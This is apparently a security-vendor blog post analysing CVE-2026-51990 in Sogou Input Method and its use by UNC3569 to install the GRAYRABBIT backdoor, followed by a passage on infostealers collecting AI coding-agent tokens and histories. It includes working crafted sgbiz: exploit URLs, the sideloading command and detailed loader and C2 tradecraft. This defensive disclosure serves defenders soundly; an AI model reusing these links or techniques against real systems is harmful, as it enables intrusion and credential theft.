Sr Princ Threat Analysis Engineer

Security Evangelist at Gen

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Analysis Engineer

Research

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Threat Research Team Lead

Our analysis of recent information-stealer collection rules found a much newer category alongside the familiar browser, wallet, and credential targets: local data associated with Claude, Cline, Codex, Continue, Cursor, OpenCode, and other AI-assisted development tools.&nbsp;This was not an isolated experiment: over a three-month period, our Windows telemetry recorded Amatera and Remus detections among tens of thousands of protected users. <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns" target="_blank" rel="noreferrer noopener">Amatera</a> targets data associated with Cline and Continue, while <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a> targets Claude, Cursor, and OpenCode. The figures may overlap and describe detections rather than successful infections, but they show that AI agent data has already entered the information-stealer economy.&nbsp;What the malware is collecting goes far beyond harmless preferences. Depending on the agent and its configuration, local files may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, account details, and traces of the projects a developer has been working on. In one archive, an attacker may obtain both the means to access an account and the context needed to understand what is valuable behind it.&nbsp;Our findings focus primarily on locally installed coding agents and agentic developer tools, and they do not point to a new way of compromising the device or to a vulnerability in an AI model or agent. The information stealer is already running; what has changed is the concentration of valuable information in predictable locations, sometimes in plaintext, and the ease with which those locations can be added to an existing collection list.&nbsp;<h2 class="text-align-justify">The collection rules have already changed&nbsp;</h2>CallbackBeaver, a fast-emerging stealer, has added Cursor and Claude to its collection scope, and we observed more than 5,000 samples during a recent 30-day period. Lower-prevalence families, including BeeStealer, STG Stealer, HydraStealer, APEX Stealer, and Otter Stealer, show that the behavior is spreading beyond one or two larger operations The pace of adoption is striking, with AI agent data appearing in the collection rules of another stealer almost every day.&nbsp;The same behavior is visible across operating systems, with Djinn Stealer on macOS associated with collecting data from Claude, Codex, Gemini, Cline, OpenCode, and Kilo.&nbsp;The reconstructed rules below show how directly several AI-assisted development tools have been added to a stealer's collection scope. The list is a snapshot rather than a complete map of the ecosystem, but it makes the change visible: agent data is now sitting alongside the targets that information stealers have pursued for years.&nbsp;

The targeting of AI agent data is emerging within a much larger infostealer problem. During the first half of 2026, our telemetry recorded infostealer detections among more than 3.3 million unique protected users, with the monthly number consistently exceeding 500,000. These figures cover all infostealer families, not only those known to target AI agent data, but they show the scale of the ecosystem in which this behavior is spreading.&nbsp;<h2 class="text-align-justify">Access and context in the same archive&nbsp;</h2>An agent's local directory contains far more than interface preferences. The exact files, paths, and protections differ between products, operating systems, and user settings, but the material we found falls into two broad categories: access to accounts and connected services, and context that can compromise a user’s privacy by revealing who they are and what they are working on.&nbsp;Some agents cache access tokens or other login details locally so that the user does not have to authenticate for every session. An access token may let an attacker use the account until it expires, while a refresh token can sometimes be exchanged for new access tokens and extend the window of abuse. Stolen tokens can be used to consume paid API capacity, while working access to an account may be packaged and resold so that someone else can use a commercial AI service at the victim’s expense. The outcome depends on the token's scope, lifetime, and the service's own controls, so stealing a file does not guarantee lasting access, but the file can still be as sensitive as a password store.&nbsp;The <a href="https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro" target="_blank" rel="noreferrer noopener">Model Context Protocol</a>, commonly known as MCP, can extend that access beyond the AI service. It allows an agent to connect to external tools and data sources, and local configurations may include endpoints, headers, environment variables, API keys, or other authentication details. A stolen configuration does not automatically unlock every connected service, because some integrations use short-lived credentials, OS-protected storage, or an interactive authorization flow. Where reusable secrets are stored locally, however, the compromise may reach source control, ticketing platforms, databases, cloud services, or collaboration tools connected to the agent, potentially broadening the attack surface.&nbsp;The context can be just as valuable, because developers use AI assistants to review code, interpret logs, troubleshoot incidents, summarize internal documentation, and reason through unfinished work. Their prompts and transcripts can contain proprietary source code, repository names, internal hostnames and API keys or other secrets pasted into a conversation. If an employee has used the assistant while developing a confidential proof of concept, the stolen history could expose an unpatented invention or another trade secret, with consequences far beyond the theft of an AI account. A transcript may also provide reconnaissance that an attacker would otherwise spend days collecting, including the structure of a codebase, known technical problems, security tooling, and the people involved in a project.&nbsp;Local data may also expose an email address, account or organization identifiers, display name, subscription type, billing status, seat tier, rate limits, user preferences, and a history of recent files or projects. None of these fields is as dramatic as a token, but together they can undermine the user’s privacy by building a detailed picture of who they are and what they do. Combined with personal information stolen elsewhere from the device, they may also contribute to identity theft, while helping criminals identify valuable victims and make targeted/spear phishing or extortion attempts more convincing.&nbsp;The danger lies in combining access with context: a browser cookie can open a door, but an AI-agent archive may also tell the attacker whose door it is, which projects are behind it, and which connected systems may be reachable from the same workspace. Incident responders should therefore treat agent credentials and local histories as part of the broader identity and access surface, not as an isolated AI account.&nbsp;<h2 class="text-align-justify">Adding the next agent may take one configuration update&nbsp;</h2>Many information stealers already receive remotely managed collection rules specifying directories, filenames, extensions, databases, search depth, or file-size limits. Once an operator learns where an agent stores useful data, expanding that list can be as simple as adding another path.&nbsp;The malware may not need to be rebuilt or redistributed. An updated rule can be delivered to existing installations, allowing the operator to start collecting a newly popular agent's files across already compromised devices. This does not apply to every stealer, and some tools need product-specific parsing or decryption, but the basic barrier to entry is low when the target is a predictable local file.&nbsp;If a major stealer does not collect a particular agent today, its absence from the list should be treated only as a snapshot, not as evidence that the agent will remain outside the collection scope once criminals see enough users, valuable accounts, or resale demand.&nbsp;<h2 class="text-align-justify">What users and security teams should do&nbsp;</h2>AI-agent data should be included in the same security conversations as browser profiles, developer credentials, password stores, and cloud command-line tools. The response needs to cover both prevention and the actions taken after a suspected stealer infection.&nbsp;<ul type="disc"><li data-list-item-id="e9c8f62b192dd7be1ca6328df6679dcb8">Know what is stored locally. Inventory the agents in use, review their retention and history settings, and understand where they keep credentials, conversations, project records, and MCP configuration.&nbsp;</li><li data-list-item-id="eb7c4958e803b3c580e162cae0d899d6a">Prefer protected credential storage. Where a product offers a choice, use the <a href="https://developers.openai.com/codex/auth" target="_blank" rel="noreferrer noopener">operating system's credential store, keychain, or keyring</a> rather than file-based token storage. A local authentication file containing access tokens should be treated like a password.&nbsp;</li><li data-list-item-id="ed3c578310cc33e114c3aea0bc5f495fe">Keep secrets out of prompts and histories. Avoid pasting passwords, private keys, API secrets, or customer data into a conversation. If a secret has been exposed for troubleshooting, rotate it and remove the retained conversation where possible.&nbsp;</li><li 